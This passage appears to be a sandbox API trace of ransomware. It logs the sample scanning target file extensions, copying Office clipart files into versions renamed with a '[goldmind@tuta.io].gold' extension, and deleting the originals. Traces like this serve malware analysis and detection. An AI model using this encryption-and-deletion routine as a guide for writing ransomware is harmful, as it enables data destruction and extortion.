lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.664] lstrlenW (lpString=".1cd") returned 4 [0100.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.664] lstrlenW (lpString=".jpg") returned 4 [0100.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.664] lstrlenW (lpString=".doc") returned 4 [0100.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString=".docx") returned 5 [0100.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.664] lstrlenW (lpString=".pdf") returned 4 [0100.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString=".xls") returned 4 [0100.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.664] lstrlenW (lpString=".xlsx") returned 5 [0100.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.664] lstrlenW (lpString=".ppt") returned 4 [0100.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.664] lstrlenW (lpString=".zip") returned 4 [0100.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.664] lstrlenW (lpString=".rar") returned 4 [0100.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.665] lstrlenW (lpString=".bz2") returned 4 [0100.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.665] lstrlenW (lpString=".7z") returned 3 [0100.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.665] lstrlenW (lpString=".dbf") returned 4 [0100.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.665] lstrlenW (lpString=".1cd") returned 4 [0100.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.665] lstrlenW (lpString=".jpg") returned 4 [0100.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.665] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.665] lstrlenW (lpString="J0086384.WMF") returned 12 [0100.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0100.681] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=9734) returned 1 [0100.681] CloseHandle (hObject=0x3a0) returned 1 [0100.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20 [0100.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0100.697] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.697] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0100.983] GetLastError () returned 0x0 [0100.983] ReadFile (in: hFile=0x3c0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2606, lpOverlapped=0x0) returned 1 [0100.984] WriteFile (in: hFile=0x364, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2610, lpOverlapped=0x0) returned 1 [0100.985] ReadFile (in: hFile=0x3c0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.985] WriteFile (in: hFile=0x364, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.985] SetEndOfFile (hFile=0x364) returned 1 [0100.985] CloseHandle (hObject=0x364) returned 1 [0100.985] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.985] SetEndOfFile (hFile=0x3c0) returned 1 [0100.987] CloseHandle (hObject=0x3c0) returned 1 [0100.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0101.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.053] lstrlenW (lpString=".doc") returned 4 [0101.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.053] lstrlenW (lpString=".docx") returned 5 [0101.053] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0101.053] lstrlenW (lpString=".pdf") returned 4 [0101.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.053] lstrlenW (lpString=".xls") returned 4 [0101.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.053] lstrlenW (lpString=".xlsx") returned 5 [0101.053] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0101.053] lstrlenW (lpString=".ppt") returned 4 [0101.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.053] lstrlenW (lpString=".zip") returned 4 [0101.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.054] lstrlenW (lpString=".rar") returned 4 [0101.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString=".bz2") returned 4 [0101.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString=".7z") returned 3 [0101.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.054] lstrlenW (lpString=".dbf") returned 4 [0101.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.054] lstrlenW (lpString=".1cd") returned 4 [0101.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.054] lstrlenW (lpString=".jpg") returned 4 [0101.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.054] lstrlenW (lpString=".doc") returned 4 [0101.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString=".docx") returned 5 [0101.054] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0101.054] lstrlenW (lpString=".pdf") returned 4 [0101.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString=".xls") returned 4 [0101.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.054] lstrlenW (lpString=".xlsx") returned 5 [0101.054] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0101.054] lstrlenW (lpString=".ppt") returned 4 [0101.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.054] lstrlenW (lpString=".zip") returned 4 [0101.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.054] lstrlenW (lpString=".rar") returned 4 [0101.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString=".bz2") returned 4 [0101.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString=".7z") returned 3 [0101.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.054] lstrlenW (lpString=".dbf") returned 4 [0101.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.054] lstrlenW (lpString=".1cd") returned 4 [0101.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0101.054] lstrlenW (lpString=".jpg") returned 4 [0101.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.054] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.054] lstrlenW (lpString="J0090089.WMF") returned 12 [0101.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.100] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=15760) returned 1 [0101.100] CloseHandle (hObject=0x3a8) returned 1 [0101.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 0x20 [0101.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.213] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.214] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.214] GetLastError () returned 0x0 [0101.214] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3d90, lpOverlapped=0x0) returned 1 [0101.234] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0101.234] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0101.234] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.234] SetEndOfFile (hFile=0x3b4) returned 1 [0101.235] CloseHandle (hObject=0x3b4) returned 1 [0101.235] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.235] SetEndOfFile (hFile=0x398) returned 1 [0101.236] CloseHandle (hObject=0x398) returned 1 [0101.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0101.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.237] lstrlenW (lpString=".doc") returned 4 [0101.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.237] lstrlenW (lpString=".docx") returned 5 [0101.237] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.237] lstrlenW (lpString=".pdf") returned 4 [0101.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.237] lstrlenW (lpString=".xls") returned 4 [0101.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.237] lstrlenW (lpString=".xlsx") returned 5 [0101.237] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.237] lstrlenW (lpString=".ppt") returned 4 [0101.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.237] lstrlenW (lpString=".zip") returned 4 [0101.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.237] lstrlenW (lpString=".rar") returned 4 [0101.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.237] lstrlenW (lpString=".bz2") returned 4 [0101.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.237] lstrlenW (lpString=".7z") returned 3 [0101.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.237] lstrlenW (lpString=".dbf") returned 4 [0101.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.238] lstrlenW (lpString=".1cd") returned 4 [0101.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.238] lstrlenW (lpString=".jpg") returned 4 [0101.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.238] lstrlenW (lpString=".doc") returned 4 [0101.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString=".docx") returned 5 [0101.238] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.238] lstrlenW (lpString=".pdf") returned 4 [0101.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString=".xls") returned 4 [0101.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.238] lstrlenW (lpString=".xlsx") returned 5 [0101.238] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.238] lstrlenW (lpString=".ppt") returned 4 [0101.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.238] lstrlenW (lpString=".zip") returned 4 [0101.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.238] lstrlenW (lpString=".rar") returned 4 [0101.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString=".bz2") returned 4 [0101.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString=".7z") returned 3 [0101.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.238] lstrlenW (lpString=".dbf") returned 4 [0101.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.238] lstrlenW (lpString=".1cd") returned 4 [0101.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0101.238] lstrlenW (lpString=".jpg") returned 4 [0101.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.238] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.239] lstrlenW (lpString="J0090781.WMF") returned 12 [0101.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.239] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5314) returned 1 [0101.239] CloseHandle (hObject=0x398) returned 1 [0101.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20 [0101.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.239] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.239] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.240] GetLastError () returned 0x0 [0101.240] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x14c2, lpOverlapped=0x0) returned 1 [0101.248] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0101.249] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0101.249] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.249] SetEndOfFile (hFile=0x3b4) returned 1 [0101.250] CloseHandle (hObject=0x3b4) returned 1 [0101.250] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.250] SetEndOfFile (hFile=0x398) returned 1 [0101.252] CloseHandle (hObject=0x398) returned 1 [0101.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0101.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.295] lstrlenW (lpString=".doc") returned 4 [0101.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.295] lstrlenW (lpString=".docx") returned 5 [0101.295] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0101.295] lstrlenW (lpString=".pdf") returned 4 [0101.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.295] lstrlenW (lpString=".xls") returned 4 [0101.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.295] lstrlenW (lpString=".xlsx") returned 5 [0101.295] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0101.295] lstrlenW (lpString=".ppt") returned 4 [0101.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.295] lstrlenW (lpString=".zip") returned 4 [0101.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.296] lstrlenW (lpString=".rar") returned 4 [0101.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString=".bz2") returned 4 [0101.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString=".7z") returned 3 [0101.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.296] lstrlenW (lpString=".dbf") returned 4 [0101.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.296] lstrlenW (lpString=".1cd") returned 4 [0101.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.296] lstrlenW (lpString=".jpg") returned 4 [0101.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.296] lstrlenW (lpString=".doc") returned 4 [0101.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.296] lstrlenW 